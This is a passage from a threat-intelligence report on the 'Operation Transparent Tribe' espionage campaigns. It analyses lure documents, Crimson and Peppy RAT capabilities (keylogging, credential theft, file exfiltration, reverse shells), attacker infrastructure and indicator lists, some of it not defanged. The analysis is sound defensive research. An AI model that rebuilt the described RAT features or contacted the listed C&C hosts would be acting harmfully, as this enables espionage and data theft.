of the malicious website. Figure 8: Iframe linking to malicious document 7 Seventh pay commission recommends overall hike of 23.55% Link: hxxp://intribune.blogspot[.]com/2015/11/seventh-pay-commission-recommends.html At time of analysis, this web page contained no malicious links; however, we discovered a document that was likely either prepared for this page or was previously linked to by this page. Malicious Document Location: hxxp://bbmsync2727[.]com/cu/seventh%20pay%20commission%20salary%20calculator. xls Document: 0e93b58193fe8ff8b84d543b535f313c Additional Document Location: hxxp://bbmsync2727[.]com/cu/awho_handot_2015.xls VBS Location: hxxp://bbmsync2727[.]com/cu/su.exe Payload (older): 07e44ffcffde46ad96eb9c018bed6193 (DarkComet) C&C (older): 5.189.145[.]248:1453 Payload (newer): 708a1af68d532df35c34f7088b8e798f (Luminosity Link RAT) C&C (newer): 5.189.145.248:6318 Figure 9: Article lure with no link but likely lead to DarkComet or other malware 8 Army Air Defence (sic),Engineers and Signal to get additional colonels posts Link: hxxp://intribune.blogspot[.]com/2015/11/army-air-defenceengineers-and-signal-to.html Malicious Document Location: hxxp://birthdaywisheszone[.]com/pml/army-air-defenceengineers-and-signal.doc Document: 68773f362d5ab4897d4ca217a9f53975 Type: Exploit,CVE-2012-0158,Embedded Payload Dropped: dac4f8ba3190cfa1f813e79864a73fe1 (MSIL/Crimson Downloader) C&C: 213.136.87[.]122:10001 Downloaded MSIL/Crimson RAT: f078b5aeaf73831361ecd96a069c9f50 Figure 10: Article lure ultimately leading to MSIL/Crimson RAT 9 Figure 11: Decoy document dropped by \xe2\x80\x9carmy-air-defenceengineers-and-signal.doc\xe2\x80\x9d SC Seeks Army response on batch parity in officers promotion Link: hxxp://intribune[.]blogspot[.]com/2015/09/sc-seeks-army-response-on-batch-parity.html Malicious Document Location: hxxp://www[.]avadhnama[.]com/latest/batchparity-command-exit-policy.doc Unfortunately we have not been able to retrieve the document hosted at that location; however, another file was located in the same directory: Location: hxxp://avadhnama[.]com/latest/ssbs.exe Hash: df6b3946d1064f37d1b99f7bfae51203 (MSIL/Crimson Downloader) C&C: 213.136.87.122:10001 Downloaded MSIL/Crimson RAT: c2bc8bc9ff7a34f14403222e58963507 10 Figure 12: Article lure possibly leading to MSIL/Crimson RAT Seniors Juniors and coursemates please take a serious note about it Location: hxxp://intribune[.]blogspot[.]com/2015/05/seniors-juniors-and-coursemates-please.html Potential Payload Location: hxxp://sms[.]totalworthy[.]com/intribune.zip Unfortunately we have been unsuccessful in retrieving intribune.zip and are unsure what, if any, payloads it may have contained. 11 Figure 13: Article lure leading to likely malicious payload in the past AWHO\xe2\x80\x93 Defence (sic) and Para-Military Forces Personnel Plots Scheme 2016 Link: hxxp://intribune[.]blogspot[.]com/2015/07/awho-defence-and-para-military-forces.html Malicious Document Location: hxxp://bbmsync2727[.]com/upd/AWHO-Upcoming-Projects.doc Document: 1f82e509371c1c29b40b865ba77d091a Type: Exploit,CVE-2012-0158,Embedded Payload Dropped: 643d6407cd9a4f1c6d2742f24aed34f5 (MSIL/Crimson Downloader) C&C: 213.136.87.122:10001 Downloaded MSIL/Crimson RAT: 0e3e81f4d2054746f74442075f82a5c5 12 Figure 14: Article lure ultimately leading to MSIL/Crimson and another malicious website 13 The AWHO article contains a link to hxxp://cdrfox[.]xyz/ via the \xe2\x80\x9cGET CALL DETAIL RECORDS ONLINE\xe2\x80\x9d hyperlink. This website is likely operated by the same actor(s) and is capable of delivering a VBS-based malicious document to unsuspecting victims (Fig. 15). Again, there is an obvious India-targeted theme that suggests this malicious website is specifically targeted at that nation. After using the number submission form, victims are directed to another page containing the final link to download a malicious document (Fig. 16). Figure 15: Landing page for cdrfox[.]xyz 14 Figure 16: Download File lure containing document that ultimate leads to Crimson Downloader Document Details Location: hxxp://fileshare[.]attachment[.]biz/?att=1455255900 Document: 18711f1db99f6a6f73f8ab64f563accc Document Name: \xe2\x80\x9cCall Details Record.xls\xe2\x80\x9d Type: VBS Macro VBS Location: hxxp://afgcloud7[.]com/logs/ssc.mcom Payload: 3cc848432e0ebe25e4f19effdd92d9c2 (MSIL/Crimson Downloader) Downloaded MSIL/Crimson RAT: 463565ec38e4d790a89eb592435820e3 Additional payloads were found on the same server but in a different directory: hxxp://afgcloud7[.]com/com/psp.dlc-bk (hash: 62d254790834f30a79ee79305d9be837, also previously named psp.dlc) hxxp://afgcloud7[.]com/com/psp.dlc (hash: dd0fc222852f5d12fda2fb66e61b22f6)hxxp://afgcloud7[.]com/upld/updt.dll (hash: 0ad849121b4656a239e85379948e5f5d) Both files in the \xe2\x80\x9c/com/\xe2\x80\x9d directory are malicious droppers that ultimately drop a decoy Excel spreadsheet and a MSIL/Crimson downloader. The spreadsheet is themed towards the Armed Forces Officials Welfare Organization (AFOWO) located in India, while the dropped downloader and downloaded RAT communicate with the same C&C as many of the previously discussed samples. An Excel spreadsheet named \xe2\x80\x9cAFOWO Broucher 2016.xls\xe2\x80\x9d (hash: 98bdcd97cd536ff6bcb2d39d9a097319) was also found containing a malicious macro that attempts to download a payload from hxxp://afgcloud7[.]com/com/psp.dlc . Additionally, the IP address (50.56.21[.]178) resolved from email. books2day.com (used in the embassy attacks). This IP has also recently resolved to email.afowoblog[.]in. We would not be surprised if an email address using @afowoblog.in was used to send the malicious \xe2\x80\x9cAFOWO Broucher 2016.xls\xe2\x80\x9d spreadsheet. Additional research related to this domain is provided in the Cluster Analysis section. 62d254790834f30a79ee79305d9be837 / dd0fc222852f5d12fda2fb66e61b22f6: Dropped Decoy Dropper: 29054da7a1f1fbd0cb3090ee42335e54 Decoy Document: 66cd38a03282b85fceec42394190f420 Payloads: 83a8ce707e625e977d54408ca747fa29 or 2c9cc5a8569ab7d06bb8f8d7cf7dc03a (both MSIL/Crimson Downloader) C&C: 213.136.87.122:10001 Downloaded MSIL/Crimson RAT: 463565ec38e4d790a89eb592435820e3 0ad849121b4656a239e85379948e5f5d The payload found in the \xe2\x80\x9c/upld/\xe2\x80\x9d directory (md5: 0ad849121b4656a239e85379948e5f5d) is the MSIL/Crimson SecApp module capable of downloading the full MSIL/Crimson RAT and all subsequent modules. Additionally, this payload drops a decoy document (Fig. 17) with the filename: \xe2\x80\x9cCv of IMA Chief.docx\xe2\x80\x9d (hash: 8e5610d88c7fe08ac13b1c9f8c2c44cc). The decoy document contains information regarding a possible Brigadier General whose last and current position (according to the decoy) is the Chief of International Military Affairs Department Ministry Defence (sic) of Afghanistan. 15 Figure 17: Decoy document dropped by 0ad849121b4656a239e85379948e5f5d Cluster Analysis In this section we will present our research surrounding the use of the MSIL/Crimson implant and campaigns that are part of Operation Transparent Tribe. Even though the tool may possibly be used by several threat actors, our research indicates that the hundreds of Crimson samples may be clustered into a much smaller set of activity as described below. Cluster 1 - Operation Transparent Tribe and More The first cluster is the largest with activity from over one hundred samples dating as far back as 2012 (Fig. 18). For this cluster, we started our analysis beginning with the email attacks on the Indian embassies and the fake Indian news blog. The activity surrounding those two events uncovered numerous other samples hosted on attacker-controlled C&C that then lead to at least one additional email attack campaign. On one of the C&Cs we discovered a Python-based RAT (Python/Peppy) whose activity very closely clusters to Operation Transparent Tribe. We have also observed this RAT being downloaded and executed along with MSIL/Crimson by Andromeda downloaders. In addition to Crimson and Peppy, we have observed the usage of Luminosity Link RAT, njRAT, Bezigate, Meterpreter, and several custom downloaders. 16 Figure 18: Maltego graph of cluster 1 activity (click here for the complete graph) The attackers responsible for this activity appear have to used a mixture of compromised infrastructure (e.g., sahirlodhi[.] com) and infrastructure owned solely by them (e.g., bbmsync2727[.]com). In many cases, the attackers used common patterns in naming their domains: \xe2\x80\xa2 sync in domain name and file name \xe2\x80\xa2 Repeated use of bb in domain name or filename, mostly bbm \xe2\x80\xa2 Ending second level domain names in four digits Additionally, this cluster of activity has numerous instances where Contabo GmbH was used for C&C. However we never used that as a sole item to group activity together under this cluster. Next, we will discuss an additional email attack, the attachment.biz activity, and lastly the afowoblog.in domain, all of which we believe fall into this cluster. Email campaign using \xe2\x80\x9c2016 Pathankot attack\xe2\x80\x9d Lure While researching this activity, we discovered an additional email attack campaign using the 2016 Pathankot attack as a lure (Fig. 19). This attack utilized a URL (hxxp://comdtoscc.attachment[.]biz/?att=1451926252) to deliver a compressed file (md5: f689471d59e779657bc44da308246ac4) containing two MSIL/Crimson payloads using 193.37.152[.]28:9990 as their C&C. Figure 19: email campaign using \xe2\x80\x9c2016 Pathankot attack\xe2\x80\x9d as a lure The attackers further increased the believability of their attack by including decoy files with each of the MSIL/Crimson payloads: Sample 1: 65f6143d69cb1246a117a704e9f07fdc Original name: \xe2\x80\x9cCall Record and Tracking Route.scr\xe2\x80\x9d Dropped decoy: 2f821d8c404952495caae99974601e96,Audio file with image (Fig. 20) Decoy name: \xe2\x80\x9cCall Record and Tracking Route.mp3\xe2\x80\x9d https://www.proofpoint.com/sites/default/files/fig-18-separate.png https://en.wikipedia.org/wiki/2016_Pathankot_attack 17 Figure 20: Audio file decoy, likely discussing Pathankot attack Sample 2: 723d85f905588f092edf8691c1095fdb Original name: \xe2\x80\x9cdetail behind the scenes.scr\xe2\x80\x9d Dropped decoy: a523b090e9a7e3868d8d1fde3e1ec57d,PDF (Fig. 21) Decoy name: \xe2\x80\x9cdetail behind the scenes.pdf\xe2\x80\x9d 18 Figure 21: Pathankot attack decoy 19 ATTACHMENT.BIZ domain We discovered additional activity surrounding the attachment.biz domain that is being used to deliver malicious documents and payloads. The observed domains include: \xe2\x80\xa2 fileshare.attachment[.]biz \xe2\x80\xa2 comdtoscc.attachment[.]biz \xe2\x80\xa2 ceengrmes.attachment[.]biz \xe2\x80\xa2 email.attachment[.]biz (no links discovered) All of the domains resolve to the same IP, 91.194.91[.]203 (Contabo GmbH). So far we have detected three separate campaigns, although we\xe2\x80\x99re unsure of the starting point for each of these incidents but are highly confident they exist in this cluster of activity. Link 1: hxxp://ceengrmes.attachment[.]biz/?att=1450603943 Payload: 07defabf004c891ae836de91260e6c82, MSIL/Crimson Payload name: Accn Letter.scr C&C: 5.189.143[.]225:11114 Link 2: hxxp://fileshare.attachment[.]biz/?att=1455264091 Payload: 18711f1db99f6a6f73f8ab64f563accc,XLS VBS-downloader * Payload name: Air India Valid Destinations.xls *Same payload as delivered by hxxp://fileshare[.]attachment[.]biz/?att=1455255900 from the attacker\xe2\x80\x99s cdrfox.xyz site Link 3: hxxp://comdtoscc.attachment[.]biz/?att=1453788170 Payload: 45d3130a901b7a763bf8f24a908b1810,compressed archive Payload name: Message.zip Decompressed Payload: 765f0556ed4db467291d48e7d3c24b3b, MSIL/Crimson Decompressed payload name: Message.scr C&C: 193.37.152[.]28:9990 AFOWOBLOG.IN Domain We have uncovered circumstantial evidence indicating that the afowoblog.in domain falls into this cluster of activity. The domain was registered on or near February 24th, 2016 using the email address thefriendsmedia@gmail.com, which is also close to the same day that the \xe2\x80\x9cAFOWO Broucher 2016.xls\xe2\x80\x9d attachment was uploaded to VT. We have detected potentially connected activity as far back as June 2013 using the domain thefriendsmedia[.]com , where it was used as an Andromeda C&C. In one instance (Fig. 22, maltego graph), we observed an Andromeda payload communicate with brooksidebiblefellowship[.]org to retrieve an additional Andromeda payload from lolxone[.]com that then used thefriendsmedia[.]com as its C&C. The original Andromeda also retrieved a Bezigate payload. 20 Figure 22: thefriendsmedia connection to Andromeda, lolxone[.]com, and Bezigate Furthermore, we have observed lolxone[.]com hosting additional Bezigate payloads as well as the Python/Peppy malware as shown in the graph below (Fig. 23). This activity can be further connected to the overall cluster via the Peppy, Bezigate, and Andromeda C&Cs as shown in the complete Maltego graph (Fig. 25). 21 Figure 23: lolxone[.]com and Andromeda connections to Python/Peppy, Bezigate Cluster 2 - guddyapps/appstertech/sajid Some Crimson SecApp modules we came across did not download the expected RAT or downloader payload when it first communicated to its C&C. For example, sample: 85429d5f2745d813e53b28d3d953d1cd retrieved a downloader from 178.238.228[.]113:7861 . Once the downloader was executed, it then downloaded an XMPP library (md5: fee34da6f30a17e1fcc5a49fd0987169) and the XMPP-based Trojan (md5: d3094c89cad5f8d1ea5f0a7f23f0a2b1) we refer to as Beendoor. Beendoor is a very interesting piece of malware and we were able to gather additional information about this variant's C&C, 178.238.235[.]143. Much like Crimson and Peppy, Beendoor is capable of taking screenshots of the victims desktop. On Beendoor\xe2\x80\x99s C&C we were able to recover a screenshot that appears to have been taken from one of the malware developer\xe2\x80\x99s computer (Fig. 24). In this modified screenshot we are bringing attention to a few key pieces of information: \xe2\x80\xa2 Identical \xe2\x80\x9cAnushka\xe2\x80\x9d image on desktop found on Beendoor C&C and used in Beendoor sample \xe2\x80\xa2 Folder structure similar to that found on the C&C \xe2\x80\xa2 Hardcoded paths found in Beendoor dropper binary (md5: 9b98abb9a9fa714e05d43b08b76c0afa) \xe2\x80\xa2 Same file names used by Beendoor and the XMPP library 22 Figure 24: Screenshot of likely Beendoor developer\xe2\x80\x99s desktop As shown in the figure, it seems likely that the Pakistan-based company Appstertech is somehow connected to the Beendoor malware. Based on the analysis of the folders and files on the Beendoor C&C, we can also conclude that this activity is related to research published by CloudSek late last year. In the Crimson samples that we found connected to Beendoor (Fig. 25), several of them used the same \xe2\x80\x9cBinder\xe2\x80\x9d dropper that we observed in other clusters, including Cluster 1. Moreover, the C&C for this occurrence of Crimson and Beendoor are both hosted at Contabo GmbH, another similarity with other clusters surrounding the Crimson implant. Figure 25: Maltego graph of Crimson<->Beendoor cluster Cluster 3 - \xe2\x80\x9cNadra attack in Mardan\xe2\x80\x9d Lure In addition to the attack using the recent Pathankot attack as a lure, we discovered several samples that may have been used in recent attack campaigns utilizing the December attack in Mardan near a National Database and Registration Authority (Nadra) as a lure. Several samples were uploaded to VT in compressed archives containing Crimson payloads along with possible decoys their respective droppers would have dropped. For example, one of the payloads (md5: 51c57b0366d0b71acf05b4df0afef52f, \xe2\x80\x9cNADRA OFC.exe\xe2\x80\x9d) was uploaded to VT along with an image (md5: be0b258e6a419b926fe1cfc04f7e575a) that can also be found here: hxxp://i.dawn[.]com/ medium/2015/12/56825d6d8f1a5.png which is linked to by an article about the attack: hxxp://www.dawn[.]com/ news/1229406 For this cluster of activity, we\xe2\x80\x99re not currently aware of any droppers and so have decided to cluster it on its own. With that in mind however, the TTPs for this campaign are nearly identical to the \xe2\x80\x9cPathankot attack lure\xe2\x80\x9d campaign in Cluster 1. Unsurprisingly, the C&C utilized in this campaign is hosted at Contabo GmbH. Lastly, the port used in these samples, 11100, is the same port used by some of the samples we have grouped in Cluster 1. 23Threat Insight | Operation Transparent Tribe Cluster 4 - DDNS and Pakistan The final cluster we would like to discuss include several samples all using DDNS for their C&C pointing to Pakistan IP (according to Whois) addresses. The majority of this activity is from 2013. Based on the slightly different TTPs (purely DDNS usage) and no use of Contabo GmbH, we have clustered this separately from other activity, even though we have observed DDNS usage in Cluster 1 and the obvious overlap in tool usage. This activity is graphed in Figure 26 and included in the IOCs section. Figure 26: DDNS and Pakistan IP address Maltego graph One Cluster to Rule Them All, Nothing Yet to Bind Them... There are numerous overlaps between the clusters, including usage of the \xe2\x80\x9cBinder\xe2\x80\x9d dropper, attack lures, and most obvious, the usage of Contabo GmbH. Unfortunately we lack information regarding some of the found samples as far as how they were used and in what campaigns, and so we have decided not to tie all the activity together. As we continue to research these incidents, we would not be surprised to find additional information linking all clusters together. Technical Analysis MSIL/Crimson Crimson is modular in the sense that additional payloads downloaded by the main RAT module are often utilized to perform functions such as keylogging and browser credential theft. Crimson infections also typically occur in stages. Crimson\xe2\x80\x99s first stage is a downloader component whose primary purpose is to download a more fully featured RAT, typically being the Crimson RAT component. The RAT component will then send system information to the C&C while the C&C will likely respond with additional module payloads. Crimson utilizes a custom TCP protocol for communicating to C&C (Fig. 27). Some of Crimson\xe2\x80\x99s optionally downloaded modules have no C&C capability and instead rely on the RAT component for information exfiltration. Figure 27: Crimson custom TCP C&C protocol 24 Crimson-infected victims may be spied on by their attackers via invasive methods such as through their webcam, stealing email from Outlook, and recording their screen. Some Crimson RAT variants support at least 40 individual commands, while all the individual commands throughout the different versions of the RAT we researched are listed and described in Table 1. Table 1. MSIL/Crimson supported commands Command Description afile Exfiltrate file to C&C audio Download legitimate NAudio library from C&C, save as NAudio.dll (not executed or added to startup). Used to record audio from microphone. autf Add extensions to file extensions list. Optionally search for files in extensions list and exfiltrate autoa Exfiltrate all files with an extension matching the file extensions list capcam Capture still from webcam camvdo Continuous capture from webcam (stopped with stops command) clping set runTime to DateTime.Now clrklg Stop keylogger and delete keylogs cnls Stop upload, download, and screen capture cscreen Single screenshot delt Delete provided path/file dirs Send disk drives dotnet Download URLDownload payload, save as dotnetframwork.exe and add to startup via registry dowf Retrieve file from C&C dowr Retrieve file from C&C and execute email Capable of retrieving email account name, number of emails, and exfiltrate emails from Outlook endpo Kill process given PID fbind Save file from C&C in existing directory with .exe appended to name file Exfiltrate file to C&C filsz Send file info: CreateTimeUtc, File Size fldr List folders in a directory fles List files in a directory ftyp Add extensions to file extensions list info Send PC info (MAC, PC Name, User, LAN IP, OS, AV, missing modules\xe2\x80\xa6) klgs Sometimes not implemented but command exists (previous versions: enable automatic exfiltration of keylogs) listf Search for files with given extension(s) mesg Pop-up \xe2\x80\x9cAlert\xe2\x80\x9d box with provided message msdlf Click mouse muspo Move mouse cursor https://naudio.codeplex.com/ 25 obind Save file from C&C to directory with .exe appended to name outdwn Search for specific email attachment with specified name and exfiltrate passl Retrieve password logger logs procl List processes runf Execute command rupth Retrieve malware\xe2\x80\x99s run path savaf Save file from C&C scren Capture screen continuously scrsz set scrSize (utilized by scren and cscreen) secup Download \xe2\x80\x9csecApp\xe2\x80\x9d payload from C&C, add to startup via registry sndpl Download \xe2\x80\x9cpssApp\xe2\x80\x9d from C&C (browser credential stealer) and begin log exfiltration sndps Download \xe2\x80\x9cpssApp\xe2\x80\x9d from C&C (browser credential stealer) splitr Split file to provided number of splits, however we believe due to programmer error this functionality will not work as expected stops Stop screen capture stsre Get microphone audio sysky Exfiltrate keylogs to C&C systsk Update module, likely secApp thumb Get 200x150 GIF thumbnail of image uclntn Sets RegKey: [variable]_ver to provided value, possibly used as a version indicator udlt Download \xe2\x80\x9cremvUser\xe2\x80\x9d payload from C&C, save as msupdate.exe, then execute it uklog Download keylogger payload from C&C, save as win_services.exe then add to start up via registry updatc Download controller/client/main RAT, save as servicesdefender.exe, then execute it updatu \xe2\x80\x9cOR\xe2\x80\x9d usbwrm Download USB payload, save as udriver.exe then add to start up via registry MSIL/Crimson Module Analysis As previously mentioned (and shown in the commands table), Crimson relies on additional module payloads to further enrich its feature set. These modules include keylogging, browser credential theft, automatic searching and stealing of files on removable drives, and two different payload update modules. Lastly, there appears to be a module referred to as \xe2\x80\x9cremvUser\xe2\x80\x9d that we have not been able to locate. URLDownload When executed, this module will first check for the existence of a registry key: HKCU\\SOFTWARE\\Microsoft\\Windows\\ CurrentVersion\\last_edate . If the key does not exist then it will be created by the module and assigned a DateTime.Now string. This key is periodically checked for how many days have passed. Once the malware detects that at least 15 days have passed, a HTTP GET request is sent to a hardcoded location to retrieve a text file that should point to another HTTP location containing a final payload. For example, one analyzed sample (md5: 532013750ee3caac93a9972103761233) contained a hardcoded URL: hxxp://sahirlodhi[.]com/usr/api.txt. So far we have observed the attackers modify api.txt twice, first containing a link to: hxxp://bbmsync2727[.]com/upd/secure_scan.exe and then: hxxp://bbmsync2727[.]com/ 26 ccmb/ssm.exe . In the module that we analyzed, the downloader logic was configured to request a file from a hardcoded URL: hxxp:// sahirlodhi[.]com/usr/api.txt , which is likely a compromised website. The module expects that another URL will be stored at the previously retrieved URL, which initially we found to be the following: hxxp://bbmsync2727[.]com/upd/secure_scan. exe (md5: e456d6035e41962a4e49345b00393dcd). This payload is a MSIL/Crimson Downloader variant that, when executed, will begin the MSIL/Crimson lifecycle all over again by downloading a new controller/orchestrator. secApp The secApp that we analyzed (md5: ccfd8c384558c5a1e09350941faa08ab) contained functionality very similar to the initial downloader, however the initial beacon that is sent to the C&C was doupdat rather than updatc and was configured to connect to the same hardcoded C&C but to a different port. In addition to supporting the updatc command issued by the C&C, this module also supports the following commands: info, upsecs, and upmain. The info command supports the same functionality that the main RAT module supports while upsecs and upmain allows the controller to modify the path and application names for both the secApp and mainApp. Credential Stealer The pssApp is a password harvesting module that initially appears to support retrieving saved credentials from the Chrome, Firefox, and Opera browsers. Successfully harvested credentials are stored in a hardcoded location such as: %APPDATA%\\Roaming\\chrome\\chrome_update . If no credentials are found, the credential log will simply contain \xe2\x80\x9cNot Found> > <\xe2\x80\x9d while an example of successfully stolen credentials are shown in Figure xx. In our very limited testing, this module was not able to retrieve passwords from Opera 35.0.2066.68 or Firefox 44.0.2 but was successful with Chrome 48.0.2564.116 m. Figure 28: Successfully harvested credentials by the pssApp module Some samples (md5: 8a991eec65bd90f12450ee9dac0f286a) also appear to support the retrieval of credentials from Windows Live, FileZilla, Vitalwerks\xe2\x80\x99 Dynamic Update Client (DUC), and Paltalk. Keylogger The keylogger module is a basic keylogger that stores keylogs in a plain text file (Fig. 29) in a hardcoded location. The module that we analyzed (md5: f18172d7bb8b98246cb3dbb0e9144731) was hardcoded to store keylogs in a file named \xe2\x80\x9cnvidia\xe2\x80\x9d in the following location: %APPDATA%\\NVIDIA\\ . Figure 29: Data stored in \xe2\x80\x9cnvidia\xe2\x80\x9d keylog 27 USB Module If either the updatu or usbwrm commands are issued, a USB drive module may be downloaded and set to execute on next startup. In the payload that we analyzed, the purpose only appears to search for potentially interesting files in removable storage and copy them to the local disk, likely so they may be exfiltrated at a later time. This payload may be configured with a set of file extensions (Fig 30) that are used to search for matching files on any USB drives. If any files are found, they are copied to a configured directory on the local disk while a running list of copied files are stored in a separate log so duplicate files are not copied. The anti-duplication method, however, only utilizes filenames so in the event that an already copied file is later modified, a newer copy will not be saved for exflitration. Despite one of the commands that may be used to download this payload may indicate this payload to contain \xe2\x80\x9cworm\xe2\x80\x9d functionality, that does not appear to be the case. remvUser During our research, we were not able to locate this module; so we are not sure what its functionality is. A best guess is that it could be a clean-up/implant removal utility. Python/Peppy Peppy is a Python-based RAT with the majority of its appearances having similarities or definite overlap with MSIL/ Crimson appearances. Peppy communicates to its C&C over HTTP and utilizes SQLite for much of its internal functionality and tracking of exfiltrated files. The primary purpose of Peppy may be the automated exfiltration of potentially interesting files and keylogs. Once Peppy successfully communicates to its C&C, the keylogging and exfiltration of files using configurable search parameters begins (Fig. 30). Files are exfiltrated using HTTP POST requests (Fig. 31). Figure 30: Peppy configurable search parameters Figure 31: Peppy exfiltrating files 28 In addition to keylogging and the exfiltration of files, Peppy is also capable of accepting commands from its C&C to update itself, disable itself, exfiltrate a specific file, uninstall itself, execute a shell command, take screenshots, spawn a reverse shell, and download a remote file and execute it. In addition, we have discovered a simple Python-based downloader (md5: 82719f0f6237d3efb9dd67d95f842013) that was possibly written by the author(s) of Peppy based on code overlap between the downloader\xe2\x80\x99s functionality and Peppy\xe2\x80\x99s download_exec routine (Fig. 32, 33). Figure 32: Python downloader code Figure 33: Peppy download_exec routine and MyURLOpener class Conclusion As we described, there are clearly a number of common threads throughout these attacks. We have been able to connect campaigns, vectors, payloads, and, in some cases, infrastructure, but additional details continue to emerge. In the short term, this serves as an important reminder that wars are no longer waged solely on the ground or in the air. Rather, threat actors (whether from nation-states or private parties with interests in international conflicts) will use a variety of cyber tools to achieve their goals. 29 Appendix Cluster 1 IOCs Crimson Downloader Samples 032bacaea0d335daec271f228db6bc88 052eb62056794a08a04f4cd61455602c 06c18c72f9f136bacc5c9b0d8fa93195 0a8d414eb910eb4caeb96a648b70eef3 0b651ef0eb7b919e91a2c5c5dbccd27e 0ed7f485166796e10bcb9123de24d211 17dbd878985b78848d4a3a758a3ef89c 1af4df1382c04677050379ccdafcafd2 21fc043b31d22b5c3f5529db83e90422 2c9cc5a8569ab7d06bb8f8d7cf7dc03a 340f31a36e159e58595a375b8b0b37b2 34ad98510d4d6e24b7e38f27a24ad9f6 3a67ebcab5dc3563dc161fdc3c7fb161 3b08095786731c522f5649081f8dbb7e 3cc848432e0ebe25e4f19effdd92d9c2 41a0e4f9745e4bd5ad7b9d500deb76fa 428371be27fc057baac3ea81a8643435 535888163707b60c1a8dfefffad70635 53c10ac66763739b95ac7192a9f489ad 5b6beb9ee6e604f4e474b8129e6135f4 5c6b401979469040b39babb0469fc0c8 5d038817ffeab7715415d68d438af345 5ff65fdefe144800e43a2f6cc6244c75 6c3b38bf90a203b2f7542d0359b8e60e 6d2442494c3019f1597256cbeb45e5f6 6eb40b2e6a67a785d5cc6e4ad9102b5d 7289c160582f010a3c7dbd512c5d8a09 75b390dc72751a062e8106328450ef87 796ae0b75c0e0b08ea84668495df4070 7a6b88e43cccc8133c066b87f72c53f7 803d2758c3b89882e2d41867768d7b15 83a8ce707e625e977d54408ca747fa29 85e2c950ddb18fe1dd18709cfbb9b203 94770186027a0ccdf733b72894a0c7d0 9d4504cdb7b02b9c9fffefcf9b79101d ac637313520ca159a02d674474d341ef b67411da3ddfcae9f2a20935619e5c4a b8098acf09d121ab298351f0c804ef8b bf1400105c97a28fefd33d8c0df5d4c1 c61061a40dba411b839fe631299c267a ca27cefe404821ccd8dc695da55102e8 cdc6bb98a2629338d49587d186562fd3 dac4f8ba3190cfa1f813e79864a73fe1 df6b3946d1064f37d1b99f7bfae51203 e3254ad0275370f92cffeacbf603a905 e456d6035e41962a4e49345b00393dcd edccbc7f880233de987ba4e917877df2 eee91d8de7ea7c0ac3372f65c43e916a 30 Crimson Downloader Droppers 9e0fef5552100a7e0a2d044b63736fb2 7470757050f584101a851d7ba105db31 Crimson SecApp Samples 07defabf004c891ae836de91260e6c82 0ad849121b4656a239e85379948e5f5d 0ed7f485166796e10bcb9123de24d211 1911c1234cc2918273baeffd7d37392e 2d6d0dbd8ac7c941d78ba14289a7ab9d 43b39b40605afb9d2624f1cede6b48a8 65f6143d69cb1246a117a704e9f07fdc 723d85f905588f092edf8691c1095fdb 765f0556ed4db467291d48e7d3c24b3b 9b3cb979b1397a4a13ea62dbf46510d8 9fcc3e18b9c0bd7380325f24a4623439 b4080cda4fb1b27c727d546c8529909c ca77af41cbd8c2fd44085d0d61bac64b df6be8accc487bf63260aacf5e582fe2 Crimson RAT Samples 073889fe855f401c3c4cc548bc08c502 0964887f6f709f9c3f11701412acb9c1 14be26aa207cff81ff814c8a7a8e2f03 19b9f62f29f3689b1db4c56deed7e162 1a1426a94e37e5f3c14cd2b6740e27e1 3ff165ee68d1bc03ae7d4d3baf99b963 4297041e3a701ed8c01e40d6c54264a1 43f47d2045ca98265fd4bd4011a04932 463565ec38e4d790a89eb592435820e3 5371d2984cbd1ae8283f9ae9eeee718d 53a60acc6a09a7fa2eebf4eb88c81af5 59e0fc469d1af7532507c19b47f19960 6746c430f978d0bc9bbecff87c651fa2 71b4bbddf46e1990210742a406c490bf 7e42de66eee8d280a3ba49d5b979c737 811eb99fb1aca98052db4b78c288889c 819715180810caaaa969c816eb2b7491 8317bb3d192c4495507a5945f27705af 8c713cffdc599930a9236c2d0d0ee91a 92f78a182faf26550d6fab2d9ec0692d 943f35200dce22766d0c2906d25be187 94d29dded4dfd920fc4153f18e82fc6c 9fd2838421b28674783b03eb46f4320f a3aa3a12d81c9862b18f83a77d7215ca bcbac2241977c976aec01592fb514aa4 c2bc8bc9ff7a34f14403222e58963507 cb0768c89e83f2328952ba51e4d4b7f1 d53de7c980eb34f9369e342d5d235c9b e7803020e9697d77f165babecf20ea82 eaee83a376914616924eab9b4b96b050 ed1daf18ef09fb2a5c58ab89824ecab0 f078b5aeaf73831361ecd96a069c9f50 fe955b4bbe3b6aa2a1d8ebf6ee7c5c42 31 Crimson C&C 5.189.143[.]225 5.189.167[.]65 80.241.221[.]109 93.104.213[.]217 193.37.152[.]28 213.136.87[.]122 Peppy RAT Samples 010a50145563a6c554de12b8770f16f7 010aa8d6e6f5346118546b1e4e414cb2 131b4ed3df80e2f794a3e353e2c7f8fb 17d22686bfc825d9369a0751c4cc6a22 1d49dc6af6803d9ffc59a859315b2ac4 22192141d2010fe9fed871d05573dda4 23ec916b3eae3f88853bde8081be870f 2463d1ff1166e845e52a0c580fd3cb7d 2cff1578ac42cc0cd5f59e28d6e7240f 31a9e46ff607b842b8fff4a0644cc0f4 3540f2771b2661ecbd03933c227fb7f7 3b979fd0a8fa0ecbc334a3bbbfb68a36 4a717b657ea475197d967008c7db8353 511bcd411ec79c6ca555670e98709e46 5998641f454f82b738977aa8b3d1d283 725379749d3fa793edcce12291782134 77c7c0117a0e457d7e3ceef4ab82c2ca 7920862303764a55050d2da38b8bf4db 858a729819cc082f2762b6d488284c19 86e27e86e64031720a1ca52d2fbb7c98 af5e96e260b71356d62900551f68f338 b04117ee18182c1c07ffaf6fb35b08bc c33c79c437d94fad3476f78361df0f24 c9e4c816b4ef23c28992e0e894b9c822 ee5a460ded205d2074a23e387c377840 f13a1a0cbcd5e13dd00dbc77c35973ef f6d141f45e76cefcb712f69c193b3ac1 f8955450fbd62cb4461c725d8985ff60 fa97cba6a52896e1f2146957a6eec04f fab5eff5fc65a7a2c5920586df5e29c2 Peppy RAT Domains applemedia1218.com avssync3357.com bbmdroid.com bbmsync2727.com bluesync2121.com eastmedia1221.com eastmedia3347.co.cc eastmedia3347.com facemedia.co.cc kssync3343.com kssync3347.co.cc kssync3347.com mahee.kssync3343.co.cc mvssync8767.com 32 student3347.mooo.com winupdater2112.com Andromeda Samples 0123411a6cfe8afb4a45e4afeed767e7 114551a87fa332a243fc05b7246309b9 128c0ccc1252098bc2314d88f4e70044 133e0c441ea744951080d700604a63ee 1f97ddaea7ac0c4e20b2db75969b4545 4b0481a591c87e8542e2089396a10d3c 7ec3ec88185f9c235e2d3da7434b928a 878aa68245675ca5ea677aaf28707b7a 990c3b67061109d82627a5642bf1bb68 